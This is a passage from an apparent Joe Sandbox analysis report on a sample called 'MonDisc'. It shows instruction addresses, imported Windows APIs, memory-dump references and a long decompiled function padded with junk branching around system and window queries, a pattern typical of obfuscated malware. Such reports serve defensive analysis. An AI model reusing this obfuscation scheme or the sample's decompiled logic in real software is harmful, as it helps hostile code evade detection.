0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

APIs

GetMessageExtraInfo.USER32 ref: 00007FF6ED0F8EC0
GetLargePageMinimum.KERNEL32 ref: 00007FF6ED0F8EE0
GetParent.USER32 ref: 00007FF6ED0F9012
IsIconic.USER32 ref: 00007FF6ED0F901A
GetMessageExtraInfo.USER32 ref: 00007FF6ED0F9065
GetWindowTextLengthW.USER32 ref: 00007FF6ED0F90B8
AnyPopup.USER32 ref: 00007FF6ED0F915F
GetWindowTextLengthW.USER32 ref: 00007FF6ED0F91A5
GetUserDefaultLangID.KERNEL32 ref: 00007FF6ED0F91AB
GetForegroundWindow.USER32 ref: 00007FF6ED0F9207

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Window$ExtraInfoLengthMessageText$DefaultForegroundIconicLangLargeMinimumPageParentPopupUser
String ID:
API String ID: 2764942508-0
Opcode ID: ebf465c328883eba75dfd2c0a98478ad7369ff7afb75a212376519344fbb4255
Instruction ID: 28eb586c02e173de03cc81c41aabbc1a9c216efa3a72fe92aa3fb0d63b935ad5
Opcode Fuzzy Hash: ebf465c328883eba75dfd2c0a98478ad7369ff7afb75a212376519344fbb4255
Instruction Fuzzy Hash: 586219A7D1CA174AF610AF30A9593BD22966F25351F380636D50AD3297FF3EB045860F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F50E0 Relevance: 65.1, APIs: 43, Instructions: 633
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF67FF6ED0F50E0(long long __rbx, long long __rcx, void* __rdi, long long __rsi, long long __rbp, struct HWND__* __r12, struct HWND__* __r13, void* __r14, void* __r15, signed long long _a8, long long _a16, long long _a24, long long _a32) {
				signed int _t88;
				signed int _t89;
				signed int _t94;
				signed int _t104;
				signed int _t109;
				signed int _t123;
				signed int _t128;
				signed int _t139;
				signed int _t152;
				signed int _t158;
				signed int _t163;
				signed int _t172;
				signed int _t177;
				signed int _t182;
				signed int _t195;
				signed int _t200;
				signed int _t206;
				signed int _t216;
				signed int _t221;
				signed int _t227;
				signed int _t233;
				signed int _t238;
				signed int _t243;
				signed int _t248;
				signed int _t253;
				signed int _t260;
				signed int _t267;
				signed int _t278;
				signed int _t292;
				signed int _t302;
				signed int _t307;
				signed int _t313;
				signed int _t319;
				signed int _t325;
				signed int _t332;
				signed int _t337;
				signed int _t342;
				signed int _t347;
				signed int _t352;
				signed int _t357;
				signed int _t363;
				signed int _t373;
				signed int _t380;
				signed int _t387;
				signed int _t399;
				signed int _t409;
				signed int _t414;
				signed int _t446;
				signed int _t451;
				signed int _t469;
				signed int _t475;
				signed int _t481;
				signed int _t486;
				signed int _t491;
				signed int _t510;
				signed int _t526;
				signed int _t540;
				signed int _t550;
				signed int _t556;
				signed int _t583;
				signed int _t588;
				signed int _t593;
				signed int _t610;
				signed int _t625;
				signed char _t664;
				signed int _t671;
				signed char _t710;
				signed int _t796;
				signed int _t805;
				void* _t810;
				void* _t817;
				void* _t818;
				void* _t819;
				void* _t821;
				void* _t824;
				void* _t827;
				void* _t829;
				void* _t831;
				void* _t832;
				void* _t837;
				void* _t838;
				void* _t840;
				void* _t841;
				void* _t842;
				void* _t844;
				void* _t845;
				void* _t847;
				void* _t848;
				void* _t850;
				void* _t852;
				void* _t853;
				void* _t854;
				void* _t855;
				void* _t858;
				void* _t859;
				void* _t860;
				void* _t862;
				void* _t863;
				void* _t865;
				void* _t866;
				void* _t867;
				void* _t868;
				void* _t870;
				void* _t871;
				void* _t872;
				void* _t875;
				void* _t876;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t883;
				void* _t885;
				void* _t886;
				void* _t889;
				void* _t890;
				void* _t892;
				void* _t895;
				void* _t898;
				void* _t901;
				void* _t903;
				void* _t904;
				void* _t905;
				void* _t906;
				void* _t907;
				void* _t908;
				void* _t909;
				void* _t910;
				void* _t913;
				void* _t915;
				intOrPtr* _t918;
				void* _t919;
				void* _t920;
				signed long long _t923;
				intOrPtr _t931;
				struct HWND__* _t934;
				void* _t936;
				long long _t938;
				long long _t941;
				intOrPtr* _t945;
				void* _t946;
				void* _t947;
				void* _t954;
				void* _t957;
				struct HWND__* _t959;
				void* _t960;
				WCHAR* _t962;
				void* _t963;

				_t918 = _t945;
				 *((long long*)(_t918 + 8)) = __rbx;
				 *((long long*)(_t918 + 0x10)) = __rbp;
				 *((long long*)(_t918 + 0x18)) = __rsi;
				_t946 = _t945 - 0x30;
				asm("movaps [eax-0x28], xmm6");
				_t88 = E00007FF67FF6ED184484(_t918);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				_t89 = _t88 & r15d;
				if (_t89 >= 0) goto 0xed0f511e;
				if ((_t89 - 0x00000001 | r14d) + 1 == 0x46) goto 0xed0f5144;
				_t94 = E00007FF67FF6ED184484(_t918) & r15d;
				if (_t94 >= 0) goto 0xed0f5136;
				_t810 = (_t94 - 0x00000001 | r14d) + 1 - 0x46;
				 *0xed236f60 = 0 | _t810 != 0x00000000;
				dil = 4;
				E00007FF67FF6ED184484(_t918);
				if (_t810 >= 0) goto 0xed0f5158;
				asm("movsd xmm6, [0x114888]");
				goto 0xed0f51f6;
				if (dil - 0xe >= 0) goto 0xed0f520a;
				_t104 = E00007FF67FF6ED184484(_t918) & r15d;
				if (_t104 >= 0) goto 0xed0f5182;
				if ((_t104 - 0x00000001 | r14d) + 1 == 0x10) goto 0xed0f51a8;
				_t109 = E00007FF67FF6ED184484(_t918) & r15d;
				if (_t109 >= 0) goto 0xed0f5198;
				 *0xed236f60 = 0 | (_t109 - 0x00000001 | r14d) + 0x00000001 != 0x00000010;
				goto 0xed0f51c7;
				 *0xed236f60 = 0x37;
				if (0x37 + bpl - 0x46 < 0) goto 0xed0f51aa;
				 *0xed236f60 = 1;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x41;
				_t817 = 0x41 + bpl - 0x4e;
				if (_t817 < 0) goto 0xed0f5171;
				dil = dil + bpl;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t918);
				if (_t817 >= 0) goto 0xed0f51f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t817 != 0) goto 0xed0f520a;
				if (_t817 == 0) goto 0xed0f5165;
				 *0xed236f60 = 0x2f;
				GetMessageTime();
				 *0xed236f60 = 0x12;
				_t818 = 0x12 + bpl - 0x22;
				if (_t818 < 0) goto 0xed0f521c;
				 *0xed236f60 = 1;
				_t123 = E00007FF67FF6ED184484(_t918);
				if (_t818 >= 0) goto 0xed0f5244;
				_t819 = ((_t123 & r15d) - 0x00000001 | r14d) + 1 - 0x44;
				if (_t819 >= 0) goto 0xed0f5268;
				_t128 = E00007FF67FF6ED184484(_t918);
				if (_t819 >= 0) goto 0xed0f525a;
				 *0xed236f60 = 0 | ((_t128 & r15d) - 0x00000001 | r14d) + 0x00000001 - 0x00000044 < 0x00000000;
				 *0xed236f60 = 0x19;
				_t821 = 0x19 + bpl - 0x24;
				if (_t821 < 0) goto 0xed0f526a;
				 *0xed236f60 = 0x41;
				E00007FF67FF6ED184484(_t918);
				if (_t821 >= 0) goto 0xed0f5298;
				_t139 = E00007FF67FF6ED184484(_t918);
				if (_t821 >= 0) goto 0xed0f52a9;
				 *0xed236f60 = 0 | ((_t139 & r15d) - 0x00000001 | r14d) + 0x00000001 - 0x0000005a > 0x00000000;
				 *0xed236f60 = 0x69;
				if (0x69 + bpl - 0x6c < 0) goto 0xed0f5287; // executed
				GetUserDefaultLangID(); // executed
				 *0xed1ee398(__r15, __r14, __rdi);
				GetSystemDefaultLangID();
				 *0xed236f60 = 0x1f;
				_t824 = 0x1f + bpl - 0x32;
				if (_t824 < 0) goto 0xed0f52d6;
				GetParent(??);
				GetDoubleClickTime();
				GetDoubleClickTime();
				_t152 = E00007FF67FF6ED184484(_t918);
				if (_t824 >= 0) goto 0xed0f5312;
				if (((_t152 & r15d) - 0x00000001 | r14d) + 1 - 0x45 >= 0) goto 0xed0f5361;
				goto 0xed0f532c;
				if (0x5f - 0x73 >= 0) goto 0xed0f5342;
				 *0xed236f60 = 0x0000005f + bpl & 0x000000ff;
				_t158 = E00007FF67FF6ED184484(_t918);
				if (0x5f - 0x73 >= 0) goto 0xed0f533d;
				_t827 = ((_t158 & r15d) - 0x00000001 | r14d) + 1 - 0x22;
				if (_t827 != 0) goto 0xed0f531b;
				_t163 = E00007FF67FF6ED184484(_t918);
				if (_t827 >= 0) goto 0xed0f5353;
				 *0xed236f60 = 0 | ((_t163 & r15d) - 0x00000001 | r14d) + 0x00000001 - 0x00000045 < 0x00000000;
				_t710 = sil;
				 *0xed236f60 = _t710 & 0x000000ff;
				_t829 = _t710 + bpl - 0xf;
				if (_t829 < 0) goto 0xed0f5364;
				GetWindowTextLengthW(??);
				GetMessageExtraInfo();
				 *0xed236f60 = 5;
				_t172 = E00007FF67FF6ED184484(_t918);
				if (_t829 >= 0) goto 0xed0f53a2;
				if (((_t172 & r15d) - 0x00000001 | r14d) + 1 - 0x3f < 0) goto 0xed0f53ac;
				_t831 = 5 + bpl - 0xe;
				if (_t831 < 0) goto 0xed0f5385;
				dil = 0x49;
				_t177 = E00007FF67FF6ED184484(_t918);
				if (_t831 >= 0) goto 0xed0f53c2;
				_t832 = ((_t177 & r15d) - 0x00000001 | r14d) + 1 - 0x1b;
				if (_t832 <= 0) goto 0xed0f53f0;
				 *0xed236f60 = 0x66;
				_t182 = E00007FF67FF6ED184484(_t918);
				if (_t832 >= 0) goto 0xed0f53e2;
				 *0xed236f60 = 0 | ((_t182 & r15d) - 0x00000001 | r14d) + 0x00000001 - 0x0000001b > 0x00000000;
				 *0xed236f60 = 0x3f;
				if (0x3f + bpl - 0x46 < 0) goto 0xed0f53b1;
				dil = dil + bpl;
				 *0xed236f60 = 1;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x51 < 0) goto 0xed0f53af;
				IsIconic(??);
				IsIconic(??);
				GetDoubleClickTime();
				 *0xed236f60 = 0x1e;
				GetLastActivePopup(??);
				GetMessageTime();
				goto 0xed0f545d;
				if (0x40 - 0x4a >= 0) goto 0xed0f5473;
				 *0xed236f60 = 0x00000040 + bpl & 0x000000ff;
				_t195 = E00007FF67FF6ED184484(_t918);
				if (0x40 - 0x4a >= 0) goto 0xed0f546e;
				_t837 = ((_t195 & r15d) - 0x00000001 | r14d) + 1 - 0x3b;
				if (_t837 == 0) goto 0xed0f544c;
				_t200 = E00007FF67FF6ED184484(_t918);
				if (_t837 >= 0) goto 0xed0f5484;
				_t838 = ((_t200 & r15d) - 0x00000001 | r14d) + 1 - 0x26;
				if (_t838 < 0) goto 0xed0f54b0;
				GetModuleHandleW(??);
				_t206 = E00007FF67FF6ED184484(_t918);
				if (_t838 >= 0) goto 0xed0f54a2;
				 *0xed236f60 = 0 | ((_t206 & r15d) - 0x00000001 | r14d) + 0x00000001 - 0x00000026 >= 0x00000000;
				GetCurrentProcessId();
				 *0xed1ee398();
				 *0xed236f60 = 0x20;
				_t840 = 0x20 + bpl - 0x2b;
				if (_t840 < 0) goto 0xed0f54b8;
				GetTopWindow(??);
				 *0xed236f60 = 1;
				GetMessageExtraInfo();
				_t216 = E00007FF67FF6ED184484(_t918);
				if (_t840 >= 0) goto 0xed0f54f4;
				_t841 = ((_t216 & r15d) - 0x00000001 | r14d) + 1 - 0x3f;
				if (_t841 == 0) goto 0xed0f5518;
				_t221 = E00007FF67FF6ED184484(_t918);
				if (_t841 >= 0) goto 0xed0f550a;
				_t842 = ((_t221 & r15d) - 0x00000001 | r14d) + 1 - 0x3f;
				 *0xed236f60 = 0 | _t842 != 0x00000000;
				 *0xed236f60 = 0x61;
				_t227 = E00007FF67FF6ED184484(_t918);
				if (_t842 >= 0) goto 0xed0f5537;
				if (((_t227 & r15d) - 0x00000001 | r14d) + 1 - 0x69 > 0) goto 0xed0f5541;
				_t844 = 0x61 + bpl - 0x73;
				if (_t844 < 0) goto 0xed0f551a;
				GetParent(??);
				_t233 = E00007FF67FF6ED184484(_t918);
				if (_t844 >= 0) goto 0xed0f555a;
				_t845 = ((_t233 & r15d) - 0x00000001 | r14d) + 1 - 0x20;
				if (_t845 >= 0) goto 0xed0f557a;
				_t238 = E00007FF67FF6ED184484(_t918);
				if (_t845 >= 0) goto 0xed0f5570;
				goto 0xed0f55a9;
				_t243 = E00007FF67FF6ED184484(_t918);
				if (((_t238 & r15d) - 0x00000001 | r14d) + 1 - 0x20 >= 0) goto 0xed0f558b;
				_t847 = ((_t243 & r15d) - 0x00000001 | r14d) + 1 - 0x48;
				if (_t847 > 0) goto 0xed0f55af;
				_t248 = E00007FF67FF6ED184484(_t918);
				if (_t847 >= 0) goto 0xed0f55a1;
				_t848 = ((_t248 & r15d) - 0x00000001 | r14d) + 1 - 0x48;
				 *0xed236f60 = 0 | _t848 <= 0x00000000;
				_t253 = E00007FF67FF6ED184484(_t918);
				if (_t848 >= 0) goto 0xed0f55c0;
				if (((_t253 & r15d) - 0x00000001 | r14d) + 1 - 0x15 <= 0) goto 0xed0f55cf;
				GetTopWindow(??);
				goto 0xed0f55e2;
				 *0xed236f60 = 0x60;
				_t850 = 0x60 + bpl - 0x6b;
				if (_t850 < 0) goto 0xed0f55d1;
				_t260 = E00007FF67FF6ED184484(_t918);
				if (_t850 >= 0) goto 0xed0f55f3;
				 *0xed236f60 = 0 | ((_t260 & r15d) - 0x00000001 | r14d) + 0x00000001 - 0x00000015 > 0x00000000;
				GetTopWindow(??);
				 *0xed236f60 = 2;
				_t852 = 2 + bpl - 0x12;
				if (_t852 < 0) goto 0xed0f5603;
				_t267 = E00007FF67FF6ED184484(_t918);
				if (_t852 >= 0) goto 0xed0f562d;
				_t853 = ((_t267 & r15d) - 0x00000001 | r14d) + 1 - 4;
				if (_t853 != 0) goto 0xed0f5687;
				_t664 = bpl + bpl;
				 *0xed236f60 = _t664 & 0x000000ff;
				E00007FF67FF6ED184484(_t918);
				if (_t853 >= 0) goto 0xed0f5652;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1143de]");
				if (_t853 <= 0) goto 0xed0f5669;
				_t854 = _t664 - 4;
				if (_t854 < 0) goto 0xed0f5635;
				_t278 = E00007FF67FF6ED184484(_t918);
				if (_t854 >= 0) goto 0xed0f567a;
				_t855 = ((_t278 & r15d) - 0x00000001 | r14d) + 1 - 4;
				sil = _t855 == 0;
				 *0xed236f60 = 0;
				E00007FF67FF6ED1844F4(E00007FF67FF6ED1844FC(((_t278 & r15d) - 0x00000001 | r14d) + 1));
				_t931 =  *_t918;
				_t923 = _a8;
				_t941 = _a16;
				_t938 = _a24;
				asm("movaps xmm6, [esp+0x20]");
				_t947 = _t946 + 0x30;
				_pop(_t962);
				_pop(_t959);
				_pop(_t934);
				goto 0xed0f7568;
				asm("int3");
				_t919 = _t947;
				 *(_t919 + 0x10) = _t923;
				 *((long long*)(_t919 + 0x18)) = _t941;
				 *((long long*)(_t919 + 0x20)) = _t938;
				 *((long long*)(_t919 + 8)) = __rcx;
				asm("movaps [eax-0x38], xmm6");
				 *0xed236f60 = 1;
				 *0xed236f60 = 1;
				E00007FF67FF6ED184484(_t919);
				r14d = 0x8000007f;
				if (_t855 >= 0) goto 0xed0f5717;
				r15d = 0;
				goto 0xed0f574c;
				if (0x2b - 0x2e >= 0) goto 0xed0f5751;
				GetModuleHandleW(_t962);
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x0000002b + sil & 0x000000ff;
				_t292 = E00007FF67FF6ED184484(_t919);
				if (0x2b - 0x2e >= 0) goto 0xed0f574c;
				if (((_t292 & r14d) - 0x00000001 | 0xffffff80) + 1 == 0x37) goto 0xed0f571c;
				GetMessageExtraInfo();
				AnyPopup();
				GetWindowTextLengthW(_t959);
				 *0xed236f60 = 0x41;
				_t858 = 0x41 + sil - 0x55;
				if (_t858 < 0) goto 0xed0f575f;
				IsZoomed(__r13);
				_t302 = E00007FF67FF6ED184484(_t919);
				if (_t858 >= 0) goto 0xed0f5790;
				_t859 = ((_t302 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				if (_t859 >= 0) goto 0xed0f57bd;
				 *0xed236f60 = r15d;
				_t307 = E00007FF67FF6ED184484(_t919);
				if (_t859 >= 0) goto 0xed0f57ac;
				_t860 = ((_t307 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				 *0xed236f60 = r15d & 0xffffff00 | _t860 < 0x00000000;
				goto 0xed0f57ca;
				AnyPopup();
				 *0xed236f60 = r15d;
				_t313 = E00007FF67FF6ED184484(_t919);
				if (_t860 >= 0) goto 0xed0f57da;
				if (((_t313 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c <= 0) goto 0xed0f5811;
				 *0xed236f60 = 0x19;
				_t862 = 0x19 + sil - 0x2b;
				if (_t862 < 0) goto 0xed0f57e1;
				_t319 = E00007FF67FF6ED184484(_t919);
				if (_t862 >= 0) goto 0xed0f5802;
				_t863 = ((_t319 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c;
				 *0xed236f60 = r15d & 0xffffff00 | _t863 > 0x00000000;
				 *0xed236f60 = 0x5a;
				_t325 = E00007FF67FF6ED184484(_t919);
				if (_t863 >= 0) goto 0xed0f582f;
				if (((_t325 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x65 >= 0) goto 0xed0f5839;
				_t865 = 0x5a + sil - 0x5b;
				if (_t865 < 0) goto 0xed0f5813;
				 *0xed236f60 = 1;
				 *0xed1ee398();
				GetTickCount();
				 *0xed236f60 = 1;
				_t332 = E00007FF67FF6ED184484(_t919);
				_t671 = r14d;
				if (_t865 >= 0) goto 0xed0f5863;
				_t866 = ((_t332 & _t671) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				if (_t866 > 0) goto 0xed0f5886;
				_t337 = E00007FF67FF6ED184484(_t919);
				if (_t866 >= 0) goto 0xed0f5877;
				_t867 = ((_t337 & _t671) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				 *0xed236f60 = r15d & 0xffffff00 | _t867 <= 0x00000000;
				_t342 = E00007FF67FF6ED184484(_t919);
				if (_t867 >= 0) goto 0xed0f5895;
				r14d = 0x31;
				r15d = _t959 - 0x15;
				_t868 = ((_t342 & _t671) - 0x00000001 | 0xffffff80) + 1 - 0x33;
				if (_t868 == 0) goto 0xed0f58c0;
				_t347 = E00007FF67FF6ED184484(_t919);
				if (_t868 >= 0) goto 0xed0f58b3;
				goto 0xed0f59ed;
				_t352 = E00007FF67FF6ED184484(_t919);
				if (((_t347 & _t671) - 0x00000001 | 0xffffff80) + 1 - 0x33 >= 0) goto 0xed0f58cf;
				_t870 = ((_t352 & _t671) - 0x00000001 | 0xffffff80) + 1 - 0x10;
				if (_t870 <= 0) goto 0xed0f59f3;
				_t357 = E00007FF67FF6ED184484(_t919);
				if (_t870 >= 0) goto 0xed0f58e7;
				_t871 = ((_t357 & _t671) - 0x00000001 | 0xffffff80) + 1 - r14d;
				if (_t871 == 0) goto 0xed0f5916;
				GetLastActivePopup(__r12);
				_t363 = E00007FF67FF6ED184484(_t919);
				if (_t871 >= 0) goto 0xed0f5903;
				_t872 = ((_t363 & _t671) - 0x00000001 | 0xffffff80) + 1 - r14d;
				 *0xed236f60 = 0 | _t872 != 0x00000000;
				goto 0xed0f59d6;
				E00007FF67FF6ED184484(_t919);
				if (_t872 >= 0) goto 0xed0f5925;
				asm("movsd xmm6, [0x1141e3]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t872 > 0) goto 0xed0f59b0;
				_t373 = E00007FF67FF6ED184484(_t919);
				if (_t872 >= 0) goto 0xed0f594a;
				if (((_t373 & _t671) - 0x00000001 | 0xffffff80) + 1 - 0x20 < 0) goto 0xed0f598d;
				goto 0xed0f596a;
				if (0x27 - 0x33 >= 0) goto 0xed0f5981;
				GetTickCount();
				 *0xed236f60 = 0x00000027 + sil & 0x000000ff;
				_t380 = E00007FF67FF6ED184484(_t919);
				if (0x27 - 0x33 >= 0) goto 0xed0f597c;
				_t875 = ((_t380 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - r15d;
				if (_t875 >= 0) goto 0xed0f5953;
				E00007FF67FF6ED184484(_t919);
				goto 0xed0f5998;
				GetCommandLineW();
				_t387 = E00007FF67FF6ED184484(_t919);
				if (_t875 >= 0) goto 0xed0f59a2;
				_t876 = ((_t387 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x20;
				 *0xed236f60 = 0 | _t876 >= 0x00000000;
				E00007FF67FF6ED184484(_t919);
				if (_t876 >= 0) goto 0xed0f59bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t876 > 0x00000000;
				_t399 = E00007FF67FF6ED184484(_t919);
				if (_t876 >= 0) goto 0xed0f59e5;
				 *0xed236f60 = 0 | ((_t399 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x00000010 > 0x00000000; // executed
				GetForegroundWindow(); // executed
				GetTopWindow(_t934);
				_t796 =  !=  ? r9d : 0;
				_t805 = r12d - _t796 - 1;
				GetCommandLineW();
				 *0xed236f60 = 0x5d;
				_t879 = 0x5d + dil - 0x6a;
				if (_t879 < 0) goto 0xed0f5a1d;
				GetTopWindow(??);
				_t409 = E00007FF67FF6ED184484(_t919);
				if (_t879 >= 0) goto 0xed0f5a46;
				_t880 = ((_t409 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				if (_t880 >= 0) goto 0xed0f5a6b;
				_t414 = E00007FF67FF6ED184484(_t919);
				if (_t880 >= 0) goto 0xed0f5a5b;
				_t881 = ((_t414 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				 *0xed236f60 = 0 | _t881 < 0x00000000;
				goto 0xed0f5a7b;
				GetForegroundWindow();
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t919);
				if (_t881 >= 0) goto 0xed0f5a8b;
				asm("movsd xmm6, [0x11416d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t881 >= 0) goto 0xed0f5ab4;
				 *0xed236f60 = 0x54;
				_t882 = 0x54 + dil - 0x61;
				if (_t882 < 0) goto 0xed0f5aa3;
				E00007FF67FF6ED184484(_t919);
				if (_t882 >= 0) goto 0xed0f5ac4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t882 >= 0x00000000;
				E00007FF67FF6ED184484(_t919);
				if (_t882 >= 0) goto 0xed0f5aeb;
				asm("movsd xmm6, [0x114055]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t882 <= 0) goto 0xed0f5b28;
				E00007FF67FF6ED184484(_t919);
				if (_t882 >= 0) goto 0xed0f5b11;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t882 > 0x00000000;
				 *0xed236f60 = 1;
				GetMessageExtraInfo();
				_t446 = E00007FF67FF6ED184484(_t919);
				if (_t882 >= 0) goto 0xed0f5b44;
				_t883 = ((_t446 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x2b;
				if (_t883 > 0) goto 0xed0f5b67;
				_t451 = E00007FF67FF6ED184484(_t919);
				if (_t883 >= 0) goto 0xed0f5b59;
				 *0xed236f60 = 0 | ((_t451 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x0000002b <= 0x00000000;
				IsZoomed(??);
				 *0xed1ee398();
				GetMessageExtraInfo();
				GetCurrentProcess();
				GetModuleHandleW(??);
				 *0xed236f60 = 0x44;
				_t885 = 0x44 + dil - 0x53;
				if (_t885 < 0) goto 0xed0f5b83;
				GetTickCount();
				AnyPopup();
				E00007FF67FF6ED184484(_t919);
				if (_t885 >= 0) goto 0xed0f5bbd;
				asm("movsd xmm6, [0x113f23]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t885 < 0) goto 0xed0f5cb4;
				dil = 0x35;
				_t469 = E00007FF67FF6ED184484(_t919);
